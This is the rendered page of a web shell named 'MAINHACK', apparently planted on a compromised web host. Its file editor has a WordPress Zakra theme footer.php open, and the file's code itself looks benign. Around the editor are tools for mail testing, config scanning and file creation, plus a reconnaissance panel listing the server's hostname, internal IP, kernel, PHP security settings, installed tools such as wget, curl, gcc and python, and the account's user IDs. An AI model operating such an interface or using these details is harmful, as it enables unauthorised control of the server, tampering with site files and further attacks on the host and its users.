[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: footer.php
<?php /** * Zakra footer functions to be hooked * * @package zakra */ if ( ! function_exists( 'zakra_content_end' ) ) : /** * Container ends */ function zakra_content_end() { ?> </div> <!-- /.tg-container--> </div> <!-- /#content--> <?php } endif; if ( ! function_exists( 'zakra_main_end' ) ) : /** * Main ends */ function zakra_main_end() { ?> </main><!-- /#main --> <?php } endif; if ( ! function_exists( 'zakra_footer_start' ) ) : /** * Footer starts */ function zakra_footer_start() { ?> <footer id="colophon" class="site-footer tg-site-footer <?php zakra_footer_class(); ?>"> <?php } endif; if ( ! function_exists( 'zakra_footer_widgets' ) ) : /** * Footer widgets */ function zakra_footer_widgets() { if ( ! zakra_is_footer_widgets_enabled() ) { return; } ?> <div class="tg-site-footer-widgets"> <div class="<?php zakra_css_class( 'zakra_footer_widgets_container_class' ); ?>"> <?php get_sidebar( 'footer' ); ?> </div><!-- /.tg-container--> </div><!-- /.tg-site-footer-widgets --> <?php } endif; if ( ! function_exists( 'zakra_footer_bottom_bar' ) ) : /** * Footer bar */ function zakra_footer_bottom_bar() { if ( ! zakra_is_footer_bar_enabled() ) { return; } ?> <div class="tg-site-footer-bar <?php zakra_footer_bar_classes(); ?>"> <div class="<?php zakra_css_class( 'zakra_footer_bottom_bar_container_class' ); ?>"> <div class="tg-site-footer-section-1"> <?php /** * Hook - zakra_action_footer_bottom_bar * * @hooked zakra_footer_bottom_bar_one - 10 */ do_action( 'zakra_action_footer_bottom_bar_one' ); ?> </div> <!-- /.tg-site-footer-section-1 --> <div class="tg-site-footer-section-2"> <?php /** * Hook - zakra_action_footer_bottom_bar_two * * @hooked zakra_footer_bottom_bar_two - 10 */ do_action( 'zakra_action_footer_bottom_bar_two' ); ?> </div> <!-- /.tg-site-footer-section-2 --> </div> <!-- /.tg-container--> </div> <!-- /.tg-site-footer-bar --> <?php } endif; if ( ! function_exists( 'zakra_footer_bottom_bar_one' ) ) : /** * Footer bar section one. */ function zakra_footer_bottom_bar_one() { $footer_bar_one = get_theme_mod( 'zakra_footer_bar_section_one', 'text_html' ); switch ( $footer_bar_one ) : case 'none': break; case 'text_html': echo do_shortcode( wp_kses_post( zakra_footer_copyright( 'one' ) ) ); break; case 'menu': $menu = get_theme_mod( 'zakra_footer_bar_section_one_menu', 'none' ); if ( 'none' === $menu ) { return; } wp_nav_menu( array( 'theme_location' => '', 'menu' => $menu, 'menu_id' => 'footer-bar-one-menu', 'container' => '', 'depth' => -1, 'fallback_cb' => false, ) ); break; case 'widget': if ( is_active_sidebar( 'footer-bar-left-sidebar' ) ) { dynamic_sidebar( 'footer-bar-left-sidebar' ); } break; default: echo wp_kses_post( zakra_footer_copyright( 'one' ) ); endswitch; } endif; if ( ! function_exists( 'zakra_footer_bottom_bar_two' ) ) : /** * Footer bar section two. */ function zakra_footer_bottom_bar_two() { $footer_bar_two = get_theme_mod( 'zakra_footer_bar_section_two', 'none' ); switch ( $footer_bar_two ) : case 'text_html': echo do_shortcode( wp_kses_post( zakra_footer_copyright( 'two' ) ) ); break; case 'menu': $menu = get_theme_mod( 'zakra_footer_bar_section_two_menu', 'none' ); if ( 'none' === $menu ) { return; } wp_nav_menu( array( 'menu' => $menu, 'menu_id' => 'footer-bar-two-menu', 'container' => '', 'depth' => -1, 'fallback_cb' => false, ) ); break; case 'widget': if ( is_active_sidebar( 'footer-bar-right-sidebar' ) ) { dynamic_sidebar( 'footer-bar-right-sidebar' ); } break; default: do_action( 'zakra_footer_bar_section_two_option_case', $footer_bar_two ); endswitch; } endif; if ( ! function_exists( 'zakra_footer_end' ) ) : /** * Footer ends */ function zakra_footer_end() { ?> </footer><!-- #colophon --> <?php } endif; if ( ! function_exists( 'zakra_scroll_to_top' ) ) : /** * Shows scroll to top */ function zakra_scroll_to_top() { // If scroll to top is disabled. if ( ! get_theme_mod( 'zakra_scroll_to_top_enabled', true ) ) { return; } ?> <a href="#" id="tg-scroll-to-top" class="<?php zakra_css_class( 'zakra_scroll_to_top_class' ); ?>"> <i class="<?php echo esc_attr( apply_filters( 'zakra_scroll_to_top_icon_class', 'tg-icon' ) ); ?> <?php echo esc_attr( apply_filters( 'zakra_scroll_to_top_icon', 'tg-icon-arrow-up' ) ); ?>"> <span class="screen-reader-text"><?php esc_html_e( 'Scroll to top', 'zakra' ); ?></span> </i> </a> <div class="tg-overlay-wrapper"></div> <?php } endif; if ( ! function_exists( 'zakra_page_end' ) ) : /** * Page ends */ function zakra_page_end() { ?> </div><!-- #page --> <?php } endif;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 692.17 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619